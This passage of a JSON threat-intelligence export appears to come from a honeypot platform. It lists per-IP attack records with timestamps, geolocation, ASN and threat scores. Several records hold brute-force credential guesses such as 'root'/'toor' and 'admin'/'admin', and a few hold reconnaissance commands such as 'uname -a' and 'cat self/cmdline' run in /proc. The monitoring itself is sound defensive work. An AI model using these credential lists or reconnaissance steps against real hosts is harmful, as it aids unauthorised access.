      "last_seen": "2026-04-15T17:18:29.223Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Password123",
        "admin123@",
        "root@Kelltech",
        "rootKelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:46:50.089000+00:00",
        "last_seen_30d": "2026-04-15T17:19:37.426000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "45.150.109.155": {
      "attack_count": 23,
      "first_seen": "2026-04-01T01:59:24.515Z",
      "last_seen": "2026-04-02T03:32:14.382Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "nsroot"
      ],
      "passwords_attempted": [
        "anko",
        "meinsm",
        "nsroot",
        "qwerty",
        "toor"
      ],
      "commands_executed": [
        "cd /proc/; cat self/cmdline"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 62005,
      "as_org": "BlueVPS OU",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:59:24.515000+00:00",
        "last_seen_30d": "2026-04-02T03:33:19.161000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 6
      }
    },
    "147.182.213.84": {
      "attack_count": 22,
      "first_seen": "2026-04-29T13:41:48.923Z",
      "last_seen": "2026-04-29T13:47:21.555Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Connection: TE, close",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "TE: deflate,gzip;q=0.3"
      ],
      "commands_executed": [
        "Host: 172.105.186.117:23",
        "KHTML, like Gecko",
        "",
        "Accept-Language: ar,en-US",
        "Accept-Language: ar,en-US;q=0.9,en;q=0.8",
        "Chrome/96.0.4664.45 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
        "Win64",
        "Windows NT 10.0",
        "Windows NT 10.0 ; Win64 ; x64",
        "x64"
      ],
      "event_types": [
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2027,
        "days_active_30d": 1,
        "ports_targeted_30d": 1900,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-29T01:22:58.168000+00:00",
        "last_seen_30d": "2026-04-29T14:18:27.180000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1969,
        "Cowrie": 22,
        "Miniprint": 8,
        "ConPot": 7,
        "Dionaea": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Ciscoasa": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "171.22.133.104": {
      "attack_count": 22,
      "first_seen": "2026-04-20T13:57:12.872Z",
      "last_seen": "2026-04-20T14:37:25.488Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "apache",
        "git",
        "user1"
      ],
      "passwords_attempted": [
        "apache",
        "git123",
        "user1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 33993,
      "as_org": "UFO Hosting LLC",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T13:57:12.872000+00:00",
        "last_seen_30d": "2026-04-20T16:07:29.342000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 109,
        "Cowrie": 22
      }
    },
    "151.236.216.61": {
      "attack_count": 20,
      "first_seen": "2026-04-21T23:59:05.840Z",
      "last_seen": "2026-04-21T23:59:08.974Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T23:59:05.840000+00:00",
        "last_seen_30d": "2026-04-22T00:00:17.551000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "103.173.7.171": {
      "attack_count": 18,
      "first_seen": "2026-04-03T00:12:06.807Z",
      "last_seen": "2026-04-03T00:14:03.350Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T00:12:06.807000+00:00",
        "last_seen_30d": "2026-04-03T00:15:11.792000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "223.237.134.78": {
      "attack_count": 16,
      "first_seen": "2026-04-27T22:20:46.946Z",
      "last_seen": "2026-04-27T22:36:56.610Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Patna",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T22:20:46.946000+00:00",
        "last_seen_30d": "2026-04-27T22:38:06.692000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "38.135.24.223": {
      "attack_count": 16,
      "first_seen": "2026-04-04T23:28:28.225Z",
      "last_seen": "2026-04-07T03:44:28.451Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Somers",
      "asn": 27284,
      "as_org": "Fourplex Telecom LLC",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T23:28:28.225000+00:00",
        "last_seen_30d": "2026-04-07T03:45:36.616000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 16
      }
    },
    "103.143.195.229": {
      "attack_count": 10,
      "first_seen": "2026-04-29T13:26:19.258Z",
      "last_seen": "2026-04-29T13:34:22.990Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 139415,
      "as_org": "PT Trinity Teknologi Nusantara",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T13:26:19.258000+00:00",
        "last_seen_30d": "2026-04-30T22:22:01.213000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 9
      }
    },
    "104.199.53.45": {
      "attack_count": 10,
      "first_seen": "2026-04-23T07:30:48.972Z",
      "last_seen": "2026-04-23T07:30:58.294Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T07:30:48.972000+00:00",
        "last_seen_30d": "2026-04-23T07:32:04.554000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "64.62.156.192": {
      "attack_count": 9,
      "first_seen": "2026-04-01T15:11:53.873Z",
      "last_seen": "2026-04-04T04:33:57.361Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-04-01T01:16:27+00:00",
        "last_seen_30d": "2026-04-30T06:42:19.397000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 213,
        "Honeytrap": 105,
        "Miniprint": 16,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Mailoney": 6,
        "Dionaea": 3,
        "Tanner": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1
      }
    },
    "192.241.252.85": {
      "attack_count": 8,
      "first_seen": "2026-04-09T06:57:51.649Z",
      "last_seen": "2026-04-09T06:57:52.396Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T06:57:51+00:00",
        "last_seen_30d": "2026-04-09T06:59:02.004000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 8,
        "Honeytrap": 6
      }
    },
    "205.210.31.165": {
      "attack_count": 8,
      "first_seen": "2026-04-02T16:38:36.904Z",
      "last_seen": "2026-04-10T22:03:59.918Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 29,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T22:22:35+00:00",
        "last_seen_30d": "2026-04-29T07:48:16.900000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 21,
        "Dionaea": 9,
        "Cowrie": 8,
        "Sentrypeer": 1
      }
    },
    "130.12.181.157": {
      "attack_count": 7,
      "first_seen": "2026-04-23T14:30:25.703Z",
      "last_seen": "2026-04-23T14:33:21.770Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "support"
      ],
      "passwords_attempted": [
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.9,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 248,
        "days_active_30d": 24,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T07:23:33+00:00",
        "last_seen_30d": "2026-04-24T00:09:26.398000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 149,
        "Honeytrap": 92,
        "Cowrie": 7
      }
    },
    "40.124.183.177": {
      "attack_count": 7,
      "first_seen": "2026-04-20T22:56:16.136Z",
      "last_seen": "2026-04-20T22:56:26.137Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 56.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.0,
        "persistence": 15.8,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 19,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-10T17:19:31+00:00",
        "last_seen_30d": "2026-04-28T14:36:32.337000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 10,
        "Cowrie": 7
      }
    },
    "45.156.129.61": {
      "attack_count": 7,
      "first_seen": "2026-04-30T03:51:30.643Z",
      "last_seen": "2026-04-30T03:51:30.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 83.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T07:40:53+00:00",
        "last_seen_30d": "2026-04-30T03:52:39.971000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 25,
        "Cowrie": 7,
        "Dionaea": 3
      }
    },
    "172.236.228.86": {
      "attack_count": 6,
      "first_seen": "2026-04-09T21:39:45.466Z",
      "last_seen": "2026-04-09T21:39:45.739Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 71.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 25,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T01:23:51+00:00",
        "last_seen_30d": "2026-04-28T06:58:59.956000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 36,
        "Cowrie": 6
      }
    },
    "209.99.190.40": {
      "attack_count": 6,
      "first_seen": "2026-04-23T03:44:58.586Z",
      "last_seen": "2026-04-23T03:45:12.481Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 79,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-23T03:42:25.188000+00:00",
        "last_seen_30d": "2026-04-23T04:28:08.338000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 221,
        "Honeytrap": 37,
        "Dionaea": 14,
        "Adbhoney": 10,
        "Cowrie": 6,
        "Ciscoasa": 5,
        "H0neytr4p": 2,
        "Tanner": 2,
        "Honeyaml": 1
      }
    },
    "66.132.195.99": {
      "attack_count": 6,
      "first_seen": "2026-04-07T06:03:43.254Z",
      "last_seen": "2026-04-07T06:04:19.004Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 26,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-04T13:49:48.972000+00:00",
        "last_seen_30d": "2026-04-29T21:33:51.974000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "ElasticPot": 7,
        "Cowrie": 6,
        "Honeytrap": 5,
        "H0neytr4p": 4,
        "Dionaea": 1,
        "Ipphoney": 1,
        "Sentrypeer": 1
      }
    },
    "47.85.109.19": {
      "attack_count": 5,
      "first_seen": "2026-04-02T06:07:29.090Z",
      "last_seen": "2026-04-03T01:13:12.538Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T01:30:43+00:00",
        "last_seen_30d": "2026-04-03T02:33:46.090000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 5,
        "Honeytrap": 2
      }
    },
    "105.154.42.122": {
      "attack_count": 4,
      "first_seen": "2026-04-28T19:04:10.270Z",
      "last_seen": "2026-04-28T19:06:15.016Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T19:04:10.270000+00:00",
        "last_seen_30d": "2026-04-28T19:17:08.033000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "134.209.21.16": {
      "attack_count": 4,
      "first_seen": "2026-04-15T11:06:54.206Z",
      "last_seen": "2026-04-15T11:07:02.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-15T11:06:50+00:00",
        "last_seen_30d": "2026-04-15T11:08:02.728000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "161.35.17.183": {
      "attack_count": 4,
      "first_seen": "2026-04-08T15:54:11.450Z",
      "last_seen": "2026-04-08T15:54:14.664Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T15:54:11.450000+00:00",
        "last_seen_30d": "2026-04-08T15:55:18.830000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "20.118.227.20": {
      "attack_count": 4,
      "first_seen": "2026-04-02T15:12:15.388Z",
      "last_seen": "2026-04-02T15:12:25.916Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 21.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 26,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T15:11:51.164000+00:00",
        "last_seen_30d": "2026-04-27T02:15:09.406000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "20.65.194.46": {
      "attack_count": 4,
      "first_seen": "2026-04-07T18:38:13.223Z",
      "last_seen": "2026-04-07T18:38:23.715Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 78.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.1,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T13:44:16.358000+00:00",
        "last_seen_30d": "2026-04-30T23:39:27.557000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
